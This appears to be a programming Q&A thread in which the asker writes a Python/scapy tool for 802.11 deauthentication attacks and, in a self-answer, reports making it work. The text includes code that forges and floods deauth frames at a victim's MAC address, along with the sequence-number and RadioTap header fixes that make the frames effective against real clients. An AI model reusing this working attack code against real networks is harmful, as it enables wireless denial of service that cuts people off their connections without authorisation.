Search code examples
pythonscapy

Adding sequence numbers to Dot11 traffic


I'm trying to write a tool to do simple deauth attacks. This is my work-in-progress code:

from scapy.all import *
from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
from time import sleep

AP_MAC = 'THE_VICTIM_MAC'
VICTIM_MAC = "THE_AP_MAC"

interface = "MY_INTERFACE_NAME"

def produce_deauth_pair(victim_mac: str, ap_mac: str) -> Tuple[RadioTap, RadioTap]:
    return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
            RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))


for n in range(1000):
    one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
    sendp([one, two], iface=interface, verbose=False)
    print(f"{n}/1000")

The main problem is, it isn't successfully causing a deauthorization on the victim machine. I started a deauth attack using aireplay-ng, compared the traffic in wireshark, and the main difference I can see between my traffic and theirs is theirs uses incrementing sequence numbers (SN), whereas mine is stuck at 0.

Theirs: aireplay-ng traffic

I can not figure out how to specify sequence numbers though. I searched through the whole dot11.py scapy source file, and the only reference to "sequence numbers" I can find is in the Dot11Auth, and that doesn't seem right.

How can I specify a sequence number?


Solution

  • It turns out, this was more me misunderstanding 802.11. Reading over Wikipedia:

    The Sequence Control field is a two-byte section used for identifying message order as well as eliminating duplicate frames. The first 4 bits are used for the fragmentation number, and the last 12 bits are the sequence number.

    So, it's actually bundled inside of the SC field of Dot11.

    I wrote up a simple function to produce an SC value from a fragment number and sequence number:

    def produce_sc(frag: int, seq: int) -> int:
        return (seq << 4) + frag
    

    And the result of that can be simply plugged in:

    RadioTap() \
    / Dot11(addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=produce_sc(0, 123)) \  # Here
    / Dot11Deauth(reason=7)
    

    The deauthing still doesn't work unfortunately, but at least I ruled that cause out.


    My original issue was the RadioTap header needed a present argument:

    def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
        sc = produce_sc(0, seq_num)
        return RadioTap(present="Rate+TXFlags") / \
               Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
               Dot11Deauth(reason=reason)
    

    This doesn't make a ton of sense to me because I thought that the RadioTap header was an indication of the conditions the antenna noticed during the capture, not something that can be specified when sending, but 🤷. This successfully deauthorizes the client.